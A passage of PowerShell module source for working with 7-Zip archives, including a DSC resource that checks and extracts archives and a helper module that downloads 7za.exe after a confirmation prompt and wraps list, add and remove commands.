$Validate = $false, [Parameter()] [string] $Checksum = 'ModifiedDate', [Parameter()] [bool] $IgnoreRoot = $false, [Parameter()] [bool] $Clean = $false, [Parameter()] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()] $Credential ) <# ### 処理の流れ 1. $Pathの正当性を確認 2. $Pathにアクセスできず、Credentialが指定されている場合はNew-PSDriveでマウントする 2-1. 終了時にはかならずRemove-PSDriveでアンマウントする 3. Test-ArchiveExistsAtDestinationを呼び出してアーカイブがDestinationに展開済みかどうかチェック 4. 展開済みであればEnsureにPresentをセットしたHashTableを、未展開であればEnsureにAbsentをセットしたHashTableを返す #> # Enable extended long path support (if it does not enabled in current environment) if (-not (Test-ExtendedLengthPathSupport)) { $local:NeedToRevertExtendedLengthPathSupport = $true Set-ExtendedLengthPathSupport -Enable $true } $local:PsDrive = $null $OriginalPath = $Path $OriginalDestination = $Destination $Path = Convert-RelativePathToAbsolute -Path $Path $Destination = Convert-RelativePathToAbsolute -Path $Destination # Checksumが指定されているが、ValidateがFalseの場合はエラー if ($PSBoundParameters.ContainsKey('Checksum') -and (-not $Validate)) { Write-Error -Exception ([System.ArgumentException]::new('Please specify the Validate parameter as true to use the Checksum parameter.')) return } if ($Credential) { $local:PsDrive = Mount-PSDriveWithCredential -Root (Split-Path $OriginalPath -Parent) -Credential $Credential -ErrorAction Stop } if (-not (Test-Path -LiteralPath $Path -PathType Leaf -ErrorAction Ignore)) { Write-Error "The path $OriginalPath does not exist or is not a file" UnMount-PSDrive -Name $local:PsDrive.Name -ErrorAction SilentlyContinue return } $testParam = @{ Path = $Path Destination = $Destination IgnoreRoot = $IgnoreRoot Clean = $Clean } if ($Password) { $testParam.Password = ConvertTo-SecureString $Password -AsPlainText -Force } if ($Validate) { if ($Checksum -eq 'CRC32') { $Checksum = 'CRC' } $testParam.Checksum = $Checksum } try { $testResult = Test-ArchiveExistsAtDestination @testParam -ErrorAction Stop } catch { Write-Error -Exception $_.Exception return } finally { UnMount-PSDrive -Name $local:PsDrive.Name -ErrorAction SilentlyContinue if ($local:NeedToRevertExtendedLengthPathSupport) { Set-ExtendedLengthPathSupport -Enable $false } } if ($testResult) { $Ensure = 'Present' } else { $Ensure = 'Absent' } return @{ Ensure = $Ensure Path = $OriginalPath Destination = $OriginalDestination } } # end of Get-TargetResource function Test-TargetResource { [CmdletBinding()] [OutputType([bool])] [Diagnostics.CodeAnalysis.SuppressMessage('PSAvoidUsingPlainTextForPassword', '')] param ( [Parameter()] [ValidateSet('Present', 'Absent')] [string] $Ensure = 'Present', [Parameter(Mandatory)] [string] $Path, [Parameter(Mandatory)] [string] $Destination, [Parameter()] [string] $Password, [Parameter()] [bool] $Validate = $false, [Parameter()] [ValidateSet('ModifiedDate', 'Size', 'CRC', 'CRC32')] [string] $Checksum = 'ModifiedDate', [Parameter()] [bool] $IgnoreRoot = $false, [Parameter()] [bool] $Clean = $false, [Parameter()] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()] $Credential ) <# ### 処理の流れ 1. Get-TargetResourceを呼び出す 2. 1の返り値のEnsureプロパティがPresentならTrueを、AbsentならFalseを返す #> $ret = (Get-TargetResource @PSBoundParameters -ErrorAction Stop).Ensure return ($ret -eq 'Present') } # end of Test-TargetResource function Set-TargetResource { [Diagnostics.CodeAnalysis.SuppressMessage('PSAvoidUsingPlainTextForPassword', '')] param ( [Parameter()] [ValidateSet('Present', 'Absent')] [string] $Ensure = 'Present', [Parameter(Mandatory)] [string] $Path, [Parameter(Mandatory)] [string] $Destination, [Parameter()] [string] $Password, [Parameter()] [bool] $Validate = $false, [Parameter()] [ValidateSet('ModifiedDate', 'Size', 'CRC', 'CRC32')] [string] $Checksum = 'ModifiedDate', [Parameter()] [bool] $IgnoreRoot = $false, [Parameter()] [bool] $Clean = $false, [Parameter()] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()] $Credential ) <# ### 処理の流れ 1. $Pathの正当性を確認 2. $Pathにアクセスできず、Credentialが指定されている場合はNew-PSDriveでマウントする 2-1. 終了時にはかならずRemove-PSDriveでアンマウント 3. Expand-7ZipArchiveを呼び出してアーカイブをDestinationに展開する #> # Enable extended long path support (if it does not enabled in current environment) if (-not (Test-ExtendedLengthPathSupport)) { $local:NeedToRevertExtendedLengthPathSupport = $true Set-ExtendedLengthPathSupport -Enable $true } $local:PsDrive = $null $OriginalPath = $Path # $OriginalDestination = $Destination $Path = Convert-RelativePathToAbsolute -Path $Path $Destination = Convert-RelativePathToAbsolute -Path $Destination # Checksumが指定されているが、ValidateがFalseの場合はエラー if ($PSBoundParameters.ContainsKey('Checksum') -and (-not $Validate)) { Write-Error -Exception ([System.ArgumentException]::new('Please specify the Validate parameter as true to use the Checksum parameter.')) return } if ($Credential) { $local:PsDrive = Mount-PSDriveWithCredential -Root (Split-Path $OriginalPath -Parent) -Credential $Credential -ErrorAction Stop } if (-not (Test-Path -LiteralPath $Path -PathType Leaf -ErrorAction Ignore)) { Write-Error "The path $OriginalPath does not exist or is not a file" UnMount-PSDrive -Name $local:PsDrive.Name -ErrorAction SilentlyContinue return } $testParam = @{ Path = $Path Destination = $Destination IgnoreRoot = $IgnoreRoot Clean = $Clean } if ($Password) { $testParam.Password = ConvertTo-SecureString $Password -AsPlainText -Force } try { Expand-7ZipArchive @testParam -ErrorAction Stop } catch { Write-Error -Exception $_.Exception } finally { UnMount-PSDrive -Name $local:PsDrive.Name -ErrorAction SilentlyContinue if ($local:NeedToRevertExtendedLengthPathSupport) { Set-ExtendedLengthPathSupport -Enable $false } } } # end of Set-TargetResource <# .SYNOPSIS アーカイブファイル内のファイルリストを取得する関数 .PARAMETER Path アーカイブファイルのパスを指定します アーカイブは7Zipで扱える形式である必要があります .PARAMETER Password アーカイブがパスワード保護されている場合、パスワードを指定する必要があります .EXAMPLE PS> Get-7ZipArchiveFileList -Path C:\Test.zip #> function Get-7ZipArchiveFileList { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ParameterSetName = 'Path')] [ValidateNotNullOrEmpty()] [string] $Path, [Parameter(Mandatory = $true, DontShow = $true, ParameterSetName = 'Class')] [ValidateNotNullOrEmpty()] [Archive] $Archive, [Parameter(ParameterSetName = 'Path')] [AllowNull()] [securestring] $Password ) (Get-7ZipArchive @PSBoundParameters).FileList } <# .SYNOPSIS アーカイブファイルの情報を取得する関数 .PARAMETER Path アーカイブファイルのパスを指定します アーカイブは7Zipで扱える形式である必要があります .PARAMETER Password アーカイブがパスワード保護されている場合、パスワードを指定する必要があります .EXAMPLE PS> Get-7ZipArchive -Path C:\Test.zip #> function Get-7ZipArchive { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ParameterSetName = 'Path')] [ValidateNotNullOrEmpty()] [string] $Path, [Parameter(Mandatory = $true, DontShow = $true, ParameterSetName = 'Class')] [ValidateNotNullOrEmpty()] [Archive] $Archive, [Parameter(ParameterSetName = 'Path')] [AllowNull()] [securestring] $Password ) # $Archiveクラスのインスタンスを返すラッパー関数 if ($PSCmdlet.ParameterSetName -eq 'Path') { # Path normalization $Path = Convert-RelativePathToAbsolute -Path $Path try { $Archive = [Archive]::new($Path, $Password) } catch { Write-Error -Exception $_.Exception return } } $Archive } <# .SYNOPSIS アーカイブファイルが展開先フォルダに既に展開済みかどうかをチェックする関数 .PARAMETER Path アーカイブファイルのパスを指定します .PARAMETER Destination アーカイブファイルの展開先フォルダを指定します .PARAMETER Password アーカイブがパスワード保護されている場合、パスワードを指定する必要があります .PARAMETER IgnoreRoot IgnoreRootが指定された場合、アーカイブ内のルートフォルダを除外します .PARAMETER Checksum Checksumを指定しない場合、ファイル名のみをチェックします Checksumに"ModifiedDate"を指定した場合、ファイル名に加えてファイルの更新日時が一致するかチェックします Checksumに"Size"を指定した場合、ファイル名に加えてファイルサイズが一致するかチェックします Checksumに"CRC"を指定した場合、ファイル名に加えてCRCハッシュが一致するかチェックします .EXAMPLE PS> Test-ArchiveExistsAtDestination -Path C:\Test.zip -Destination C:\Dest True #> function Test-ArchiveExistsAtDestination { [CmdletBinding()] [OutputType([bool])] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [string] $Path, [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [string] $Destination, [Parameter()] [AllowNull()] [securestring] $Password, [Parameter()] [switch] $IgnoreRoot, [Parameter()] [switch] $Clean, [Parameter()] [ValidateSet('ModifiedDate', 'Size', 'CRC')] [string] $Checksum ) <# ### 処理の流れ 1. $Pathが正しいか確認(ファイルが存在するか、正しいアーカイブか) 2. Destinationが存在しないor空フォルダの場合はFalseを返す 3. アーカイブ内のファイル/フォルダ全てがDestination内に存在するか確認 3-1. Checksumが指定されていない場合はファイル/フォルダ名が一致していればOKとする 3-2. ChecksumにModifiedDateが指定された場合は3-1に加えてファイルの更新日時が一致しているか確認 3-3. ChecksumにSizeが指定された場合は3-1に加えてファイルサイズが一致しているか確認 3-3. ChecksumにCRCが指定された場合は3-1に加えてCRCハッシュが一致しているか確認 4. アーカイブ内のファイル/フォルダ全てがDestination内に存在していればTrueを、一つでも存在しないファイルがあればFalseを返す #> if (-not (Test-Path -LiteralPath $Destination -PathType Container -ErrorAction Ignore)) { #Destination folder does not exist Write-Verbose 'The destination folder does not exist' return $false } if ((Get-ChildItem -LiteralPath $Destination -Force | Measure-Object).Count -eq 0) { #Destination folder is empty Write-Verbose 'The destination folder is empty' return $false } $archive = Get-7ZipArchive -Path $Path -Password $Password if ($Clean) { $ExistFileCount = @(Get-ChildItem -LiteralPath $Destination -Recurse -Force -ErrorAction SilentlyContinue | Where-Object { -not $_.PsIsContainer }).Count $ArchiveFileCount = @($archive.FileList | Where-Object { $_.ItemType -ne 'Folder' }).Count if ($ArchiveFileCount -ne $ExistFileCount) { Write-Verbose 'The number of destination files does not match the number of files in the archive' return $false } } $rootDir = $archive.FileList | Where-Object { $_.Path.Contains('\') } | ForEach-Object { ($_.Path -split '\\')[0] } | Select-Object -First 1 if ($IgnoreRoot -and (-not $rootDir)) { Write-Error -Exception ([System.InvalidOperationException]::new("Archive has no item or only one file in the root. You can't use IgnoreRoot option.")) return } # Test the archive has multiple root or not if ($IgnoreRoot) { [bool]$HasMultipleRoot = $false foreach ($Item in $archive.FileList) { if (($Item.ItemType -eq 'Folder') -and ($Item.Path -ceq $rootDir)) { # The item is Root dir continue } elseif ($Item.Path.StartsWith(($rootDir + '\'), [System.StringComparison]::Ordinal)) { # The item in the root dir continue } else { # The item out of the root dir $HasMultipleRoot = $true break } } if ($HasMultipleRoot) { Write-Error -Exception ([System.InvalidOperationException]::new("Archive has multiple items in the root. You can't use IgnoreRoot option.")) return } } foreach ($Item in $archive.FileList) { if ($IgnoreRoot) { $RelativePath = $Item.Path.Substring($rootDir.Length) if ($RelativePath.Length -eq '0') { Write-Verbose ('Skip root folder: "{0}"' -f $Item.Path) continue } } else { $RelativePath = $Item.Path } $AbsolutePath = Convert-RelativePathToAbsolute -Path $global:ExecutionContext.SessionState.Path.Combine($Destination, $RelativePath) $tParam = @{ LiteralPath = $AbsolutePath PathType = $(if ($Item.ItemType -eq 'File') { 'Leaf' }else { 'Container' }) } if (-not (Test-Path @tParam)) { # Target file not exist => return false Write-Verbose ('The file "{0}" in the archive does not exist in the destination folder' -f $Item.Path) return $false } if ($Checksum) { $CurrentFileInfo = Get-Item -LiteralPath $AbsolutePath -Force if ($Checksum -eq 'ModifiedDate') { # Truncate milliseconds of the LastWriteTimeUtc property of the file at the destination [datetime]$s = $CurrentFileInfo.LastWriteTimeUtc $CurrentFileModifiedDateUtc = [datetime]::new($s.Year, $s.Month, $s.Day, $s.Hour, $s.Minute, $s.Second, $s.Kind) # Convert UTC time to Local time by using only the current time zone information and the DST information. (Emulate FileTimeToLocalFileTime() of Win32API) # See http://support.microsoft.com/kb/932955 and https://devblogs.microsoft.com/oldnewthing/?p=42053 $CurrentFileModifiedDate = $CurrentFileModifiedDateUtc.Add([System.TimeZone]::CurrentTimeZone.GetUtcOffset([datetime]::Now)) # Truncate milliseconds of the ModifiedDate property of the file in the archive $ArchiveileModifiedDate = [datetime]::new($Item.Modified.Year, $Item.Modified.Month, $Item.Modified.Day, $Item.Modified.Hour, $Item.Modified.Minute, $Item.Modified.Second, $Item.Modified.Kind) # Compare datetime if ($CurrentFileModifiedDate -ne $ArchiveileModifiedDate) { Write-Verbose ('The modified date of "{0}" is not same.' -f $Item.Path) Write-Verbose ('Exist:{0} / Archive:{1}' -f $CurrentFileModifiedDate, $Item.Modified) return $false } } elseif ($Checksum -eq 'Size') { if (-not $CurrentFileInfo.PsIsContainer) { # Compare file size if ($CurrentFileInfo.Length -ne $Item.Size) { Write-Verbose ('The size of "{0}" is not same.' -f $Item.Path) Write-Verbose ('Exist:{0} / Archive:{1}' -f $CurrentFileInfo.Length, $Item.Size) return $false } } } elseif ($Checksum -eq 'CRC') { if (-not $CurrentFileInfo.PsIsContainer) { # Some types of an archive does not record CRC value of the 0-byte file. if ([string]::IsNullOrEmpty($Item.CRC)) { $ArchiveFileHash = '00000000' } else { $ArchiveFileHash = $Item.CRC } if ($archive.Type -eq 'lzh') { #LZH has CRC16 checksum $CurrentFileHash = Get-CRC16Hash -Path $CurrentFileInfo.FullName } else { $CurrentFileHash = Get-CRC32Hash -Path $CurrentFileInfo.FullName } # Compare file hash if ($CurrentFileHash -ne $ArchiveFileHash) { Write-Verbose ('The hash of "{0}" is not same.' -f $Item.Path) Write-Verbose ('Exist:{0} / Archive:{1}' -f $CurrentFileHash, $ArchiveFileHash) return $false } } } } } Write-Verbose ('All items in the archive exists in the destination folder') return $true } <# .SYNOPSIS アーカイブを展開する関数 .PARAMETER Path アーカイブファイルのパスを指定します .PARAMETER Destination アーカイブファイルの展開先フォルダを指定します 展開先フォルダ内にアーカイブ内のファイルと同名のファイルが存在する場合は、確認なしで上書きされることに注意してください .PARAMETER Password アーカイブがパスワード保護されている場合、パスワードを指定する必要があります .PARAMETER IgnoreRoot IgnoreRootが指定された場合、アーカイブ内のルートフォルダを除外して展開します .PARAMETER Clean Cleanが指定された場合、展開先フォルダの既存ファイルをすべて削除してからアーカイブを展開します 指定しない場合、展開先フォルダの既存ファイルは残したまま展開します .EXAMPLE Expand-7ZipArchive -Path C:\Test.zip -Destination C:\Dest -Clean #> function Expand-7ZipArchive { [CmdletBinding(DefaultParameterSetName = 'Path')] param ( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true , ValueFromPipelineByPropertyName = $true , ParameterSetName = 'Path')] [Alias('PSPath', 'LiteralPath', 'LP')] [ValidateNotNullOrEmpty()] [string[]] $Path, [Parameter(Mandatory = $true, DontShow = $true, ParameterSetName = 'Class')] [ValidateNotNullOrEmpty()] [Archive] $Archive, [Parameter(Mandatory = $true, Position = 1, ValueFromPipelineByPropertyName = $true)] [ValidateNotNullOrEmpty()] [string] $Destination, [Parameter(Mandatory = $false)] [AllowNull()] [securestring] $Password, [Parameter()] [switch] $IgnoreRoot, [Parameter()] [switch] $Clean ) <# ### 処理の流れ 1. $Pathが正しいか確認(ファイルが存在するか、正しいアーカイブか) 2. Cleanスイッチが指定されている場合はDestinationフォルダ内の全ファイルを削除 3. 7Zipを使ってアーカイブをDestinationに展開 #> Begin { if ($Clean) { Write-Verbose ('Clean option is specified. All items in {0} will be removed' -f $Destination) if (Test-Path -LiteralPath $Destination -PathType Container) { Get-ChildItem -LiteralPath $Destination -Recurse -Force -Verbose:$false -ErrorAction SilentlyContinue |` Remove-Item -Force -Recurse -ErrorAction SilentlyContinue -Verbose:$false } } } Process { $Destination = Convert-RelativePathToAbsolute -Path $Destination if ($PSCmdlet.ParameterSetName -eq 'Class') { try { $Archive.Extract($Destination, $Password, $IgnoreRoot) } catch { Write-Error -Exception $_.Exception } } elseif ($PSCmdlet.ParameterSetName -eq 'Path') { foreach ($item in $Path) { try { $item = Convert-RelativePathToAbsolute -Path $item [Archive]::Extract($item, $Destination, $Password, $IgnoreRoot) } catch { Write-Error -Exception $_.Exception } } } } } <# .SYNOPSIS アーカイブを作成する関数 .PARAMETER Path 圧縮したいファイルのリスト .PARAMETER Destination アーカイブファイルの出力先 出力先に同名のファイルが存在する場合は、確認なしで上書きされることに注意してください .PARAMETER Password アーカイブのパスワード .PARAMETER Type アーカイブの形式 サポートされている値:'7z', 'zip', 'bzip2', 'gzip', 'tar', 'wim', 'xz' 指定しない場合、出力先ファイルの拡張子から自動判別します。 .EXAMPLE $pwd = Read-Host -AsSecureString Get-Item * | Compress-7ZipArchive -Destination C:\Archive.7z -Password $pwd #> function Compress-7ZipArchive { [CmdletBinding(DefaultParameterSetName = 'Path')] param ( [Parameter(Mandatory = $true, Position = 0 , ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'Path')] [ValidateNotNullOrEmpty()] [string[]] $Path, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'Literal')] [ValidateNotNullOrEmpty()] [string[]] $LiteralPath, [Parameter(Mandatory = $true, Position = 1)] [ValidateNotNullOrEmpty()] [string] $Destination, [Parameter(Mandatory = $false)] [AllowNull()] [securestring] $Password, [Parameter(Mandatory = $false)] [ValidateSet('7z', 'zip', 'bzip2', 'gzip', 'tar', 'wim', 'xz')] [string] $Type ) Begin { $FileList = [HashSet[string]]::new() } Process { if ($PSCmdlet.ParameterSetName -eq 'Path') { $Object = $Path } elseif ($PSCmdlet.ParameterSetName -eq 'Literal') { $Object = $LiteralPath } foreach ($o in $Object) { $o = Convert-RelativePathToAbsolute -Path $o if ($PSCmdlet.ParameterSetName -eq 'Path') { $Items = Get-Item -Path $o -ErrorAction SilentlyContinue } elseif ($PSCmdlet.ParameterSetName -eq 'Literal') { $Items = Get-Item -LiteralPath $o -ErrorAction SilentlyContinue } foreach ($item in $Items) { $null = $FileList.Add($item.FullName) } } } End { if ($FileList.Count -le 0) { Write-Error -Exception [FileNotFoundException]::new('No item found.') return } try { $AllItems = New-Object System.String[]($FileList.Count) $FileList.CopyTo($AllItems, 0) $null = [Archive]::Compress($AllItems, $Destination, $Type, $Password) } catch { Write-Error -Exception $_.Exception return } } } function Mount-PSDriveWithCredential { [CmdletBinding()] [OutputType([System.Management.Automation.PSDriveInfo])] param ( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string] $Root, [Parameter(Mandatory)] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()] $Credential, [Parameter()] [ValidateNotNullOrEmpty()] [string] $Name ) if (-not $Name) { $Name = [guid]::NewGuid().toString() } try { New-PSDrive -Name $Name -Root $Root -PSProvider FileSystem -Credential $Credential -ErrorAction Stop if (-not (Test-Path -LiteralPath $Root -ErrorAction SilentlyContinue)) { throw ('Could not access to "{0}"' -f $Root) } } catch { UnMount-PSDrive -Name $Name -ErrorAction SilentlyContinue Write-Error -Exception $_.Exception return } } function UnMount-PSDrive { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] [CmdletBinding()] [OutputType([void])] param ( [Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)] [AllowEmptyString()] [string] $Name ) if (![string]::IsNullOrWhiteSpace($Name)) { Remove-PSDrive -Name $Name } } function Convert-RelativePathToAbsolute { [CmdletBinding()] [OutputType([string])] param ( [Parameter(Mandatory, Position = 0)] [ValidateLength(1, 32000)] [string] $Path ) $EXTENDED_PATH_PREFIX = '\\?\' # Convert relative path to absolute path $ResolvedPath = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path) # Add "\\?\" prefix for too long paths. (only when the system supports that) # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation # However, in PowerShell 6 and later, the prefix is not required. # Rather, in PowerShell 7.1 and later, it should not be added, because it will cause inconsistent behavior. # https://github.com/PowerShell/PowerShell/issues/10805 if ($PSVersionTable.PSVersion.Major -lt 6) { if (Test-ExtendedLengthPathSupport) { if (-not $ResolvedPath.StartsWith($EXTENDED_PATH_PREFIX)) { if (([uri]$ResolvedPath).IsUnc) { $ResolvedPath = $EXTENDED_PATH_PREFIX + 'UNC\' + $ResolvedPath.Substring(2) } else { $ResolvedPath = $EXTENDED_PATH_PREFIX + $ResolvedPath } } } } $ResolvedPath } function Test-ExtendedLengthPathSupport { try { $null = [System.IO.Path]::GetFullPath('\\?\C:\extended_length_path_support_test.txt') return $true } catch { return $false } } function Set-ExtendedLengthPathSupport { param ( [Parameter(Mandatory, Position = 0)] [bool]$Enable ) $Disable = -not $Enable [int32]$IntFlag = if ($Disable) { 1 }else { -1 } $CurrentStatus = Test-ExtendedLengthPathSupport if ($CurrentStatus -eq $Enable) { return } $AppContextSwitches = [type]::GetType('System.AppContextSwitches') if (-not $AppContextSwitches) { Write-Error 'Could not find type System.AppContextSwitches' return } [System.AppContext]::SetSwitch('Switch.System.IO.UseLegacyPathHandling', $Disable) $InternalField = $AppContextSwitches.GetField('_useLegacyPathHandling', ([System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::NonPublic)) $InternalField.SetValue($null, $IntFlag) # Write-Verbose ('Set Extended Length Path feature as {0}.' -f $(if ($Enable) { 'Enabled' } else { 'Disabled' })) } Export-ModuleMember -Function @( 'Get-TargetResource', 'Test-TargetResource', 'Set-TargetResource', 'Expand-7ZipArchive', 'Compress-7ZipArchive' )
Aliases.ps1
7zip-Archive-1.1.0
Set-Alias szr Read-ZipFile -Scope Global Set-Alias sza Add-ZipFileContent -Scope Global Set-Alias szrm Remove-ZipFileContent -Scope Global Set-Alias szt Test-ZipFileContent -Scope Global Set-Alias br Get-ZipFileContent -Scope Global Set-Alias szc New-ZipFile -Scope Global
Shared-Functions.ps1
7zip-Archive-1.1.0
function szShow-ConfirmPrompt { param ( [Parameter(Position = 0, ParameterSetName = 'Positional', ValueFromPipeline = $True)] [Alias("Question", "Description")] $text ="Would you like to continue?" ) $reply = Read-Host -Prompt "$text` [Y] Yes [N] No [S] Suspend(default is ""Yes""):" if ( $reply -match "[yY]" -and $null -ne $reply ) { return $true } if ( $reply -match "[Ss]" ) { throw "Execution aborted" } return $false } <# .SYNOPSIS Create array from pipeline input .DESCRIPTION Create array from pipeline input Original implementation at https://devblogs.microsoft.com/powershell/converting-to-array/ .EXAMPLE $gateway = $properties.GatewayAddresses | ForEach-Object{ [System.Net.IPAddress]::Parse($_.Address.ToString()) } | ToArray #> function szToArray { begin { $output = @(); } process { $output += $_; } end { return ,$output; } } <# .SYNOPSIS Check and create folder .DESCRIPTION Check if path and create folder if not exist .PARAMETER Folder Path .EXAMPLE An example .NOTES General notes #> function szCreateFolderIfNotExist { param ([string]$Folder) if( Test-Path $Folder -PathType Leaf){ Write-Error "The destanation path ${Folder} is file." } if ( ! (Test-Path $Folder -PathType Container )) { New-Item -Path $Folder -ItemType 'Directory' } } filter szLast { BEGIN { $current=$null } PROCESS { $current=$_ } END { Write-Host $current } } <# .SYNOPSIS Download executable from internet .DESCRIPTION Check if path and create folder if not exist .EXAMPLE An example .NOTES General notes #> function szReceive-File { param ( [string]$name, [string]$file, [string]$url ) $reply = szShow-ConfirmPrompt if ( -not $reply ) { Write-Error "Execution aborted" return -1; } Write-Output "Starting download '$name'" Write-Debug "Downoad url:${url}" (New-Object System.Net.WebClient).DownloadFile($url, $file) Write-Debug "File downloaded to ${file}." } function szExtract-ZipFile { param ( [ValidateScript( { Test-Path $_ -pathType leaf })] [Parameter(Mandatory = $true)] [string]$FileName, [ValidateScript( { Test-Path $_ -pathType Container })] [Parameter(Mandatory = $true)] [string]$Path ) Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($FileName, $Path) } function szGet-TempFileName() { return [System.IO.Path]::GetTempFileName() } function szTest-Empty { param ( [Parameter(Position = 0)] [string]$string ) return [string]::IsNullOrWhitespace($string) } function szCombine-Path { param ( [string]$baseDir, [string]$path ) $allArgs = $PsBoundParameters.Values + $args [IO.Path]::Combine([string[]]$allArgs) } function szGet-ProfileDir { param ( [string]$moduleName = $null ) $profileDir = $ENV:AppData if( szTest-Empty $moduleName ){ if ( $script:MyInvocation.MyCommand.Name.EndsWith('.psm1') ){ $moduleName = $script:MyInvocation.MyCommand.Name } if ( $script:MyInvocation.MyCommand.Name.EndsWith('.ps1') ){ $modulePath = Split-Path -Path $script:MyInvocation.MyCommand.Path $moduleName = Split-Path -Path $modulePath -Leaf } } if( szTest-Empty $moduleName ){ throw "Unable to read module name." } $scriptProfile = szCombine-Path $profileDir '.ps1' 'ScriptData' $moduleName if ( ! (Test-Path $scriptProfile -PathType Container )) { New-Item -Path $scriptProfile -ItemType 'Directory' } return $scriptProfile } function szCheckPsGalleryUpdate { param ( [string] $moduleName, [string] $currentVersion ) Try { szWrite-Console "Update check..." $feed = Invoke-WebRequest -Uri "https://www.powershellgallery.com/api/v2/FindPackagesById()?id=%27$moduleName%27" $last=([xml]$feed.Content).feed.entry |Sort-Object -Property updated | szLast $version= $last.properties.Version if ($version -gt $currentVersion) { szWrite-Console "Found a new module version {$version}." $notes=$last.properties.ReleaseNotes.'#text' szWrite-Console "Release notes: {$notes}." szWrite-Console "Recomendent to update module with command: Update-Module -Name $moduleName -Force" } } Catch { } } function szWrite-Console { param ( [string]$text, [String[]]$arg=$null ) if($null -eq $arg){ [Console]::WriteLine($text) } else{ [Console]::WriteLine($text, $arg) } }
Functions.ps1
7zip-Archive-1.1.0
function _Initalize() { $script:_binDir = szGet-ProfileDir "7zip" "bin" Write-Debug "The 7-zip is dir set to $_binDir" $script:_7zWin = Join-Path $_binDir "7za.exe" $script:_7zWinDownloadDir='https://www.7-zip.org/a/7za920.zip' $script:_7zPath = $null; } ##Check if 7zip p7z are installed function Test-7ZipInstall { $os = [System.Environment]::OSVersion.Platform #windows if($os -like 'win*'){ Write-Debug "Os:Windows" #7-zip Write-Debug "Trying to locate 7-zip by the path: $script:_7zWin" if( -not (Test-Path "$script:_7zWin")){ Write-Output '7Zip didn''t downloaded.' Write-Output 'Now script going to try to download it.' $file = szGet-TempFileName Write-Debug "Temp file: ${file}" szReceive-File "7-Zip" $file $_7zWinDownloadDir Write-Debug "Extracting to directory ${_binDir}" if ( -not (Test-Path $_binDir )) { New-Item -Path $_binDir -ItemType 'Directory' } szExtract-ZipFile -FileName "$file" -Path "$_binDir" } $script:_7zPath = $script:_7zWin } else{ #linux or macOs Get-Command p7zip -Erroraction 'silentlycontinue'| ForEach-Object{ $script:_7zPath= $_.Path} if ( -not (Test-Path $script:_7zPath )){ #sudo apt-get install p7zip $script:aborted = $true throw "p7zip application is not installed. If you using debian/ubuntu run `sudo apt-get install p7zip` then restart the script" } } } function AddKeyArg { param ( $AllArgs = $null, [string]$Key = $null ) if( -not (szTest-Empty $Key)){ $AllArgs += "-p$Key" } return $AllArgs } ##7zip process worker function function Start-7Zip { param ( $AllArgs ) Test-7ZipInstall Write-Debug "Starting process. 7Zip ${AllArgs} " $process = Start-Process -FilePath $script:_7zPath -ArgumentList $AllArgs -NoNewWindow -PassThru -Wait $code=$process.ExitCode Write-Debug "7-Zip process complete. Return code: $code" if($code -ne "0"){ throw "Execution Error: 7 result code:${code}" } return $code } <# .SYNOPSIS List 7zip file content .DESCRIPTION List 7zip file content .PARAMETER ArchiveName Archive file to list content .PARAMETER Password Archive password (if have been set) .EXAMPLE Read-ZipFile .\scripts.7z ls *.7z| Read-ZipFile #> function Read-ZipFile { param ( [ValidateScript( { Test-Path $_ -pathType leaf })] [Parameter(Position = 0, ValueFromPipeline = $True, Mandatory = $true)] [Alias("Path","Name", "Archive", "p")] [string]$ArchiveName, [Alias("Password","pass")] [string]$Key = $null ) Write-Output "List zip content:""$ArchiveName""." $AllArgs = @('l', "$ArchiveName"); $AllArgs = AddKeyArg $AllArgs $Key return Start-7Zip $AllArgs } <# .SYNOPSIS Add file to archive .DESCRIPTION Add file to archive .PARAMETER ArchiveName Existing Archive file add extra files .PARAMETER FileName File to add .PARAMETER Password Archive password (if have been set) .EXAMPLE Add-ZipFileContent '.\registered.js' -Archive .\scripts.7z Add-ZipFileContent '.\registered.js' -Archive .\scripts.7z -Password qwe123 ls *.js | Add-ZipFileContent -Archive .\scripts.7z -Password qwe123 #> function Add-ZipFileContent { param ( [ValidateScript( { Test-Path $_ -pathType leaf })] [Parameter(Position = 0, Mandatory = $true)] [Alias("Path","Name", "Archive", "p")] [string]$ArchiveName, [ValidateScript( { Test-Path $_ -pathType leaf })] [Parameter(Position = 1, ValueFromPipeline = $True, Mandatory = $true)] [Alias("File", "f")] [string]$FileName, [Alias("Password","pass")] [string]$Key = $null ) Write-Output "Adding/updating file ""$FileName"" to arhcive ""$ArchiveName""" #WriteHash $ArchiveName $FileName $AllArgs = @('u', "$ArchiveName", "$FileName"); $AllArgs = AddKeyArg $AllArgs $Key return Start-7Zip $AllArgs } <# .SYNOPSIS Remove file from archive .DESCRIPTION Remove file from archive .PARAMETER Archive Existing Archive file to remove files .PARAMETER File Removal file .PARAMETER Password Archive password (if have been set) .EXAMPLE Remove-ZipFileContent -Archive .\scripts.7z -File "temp.log" ls *.7z| Remove-ZipFileContent -File "temp.log" #> function Remove-ZipFileContent { param ( [ValidateScript( { Test-Path $_ -pathType leaf })] [Parameter(Position = 0, ValueFromPipeline = $True, Mandatory = $true)] [Alias("Path","Name", "Archive", "p")] [string]$ArchiveName, [Parameter(Position = 1, Mandatory = $true)] [Alias("File", "f")] [string]$FileName, [Alias("Password","pass")] [string]$Key = $null ) Write-Output "Removing file ""$FileName"" from arhcive ""$ArchiveName""" $AllArgs = @('d', "$ArchiveName", "$FileName"); $AllArgs = AddKeyArg $AllArgs $Key $code = Start-7Zip $AllArgs #Remove-Hash $ArchiveName "$FileName" return $code } Enum 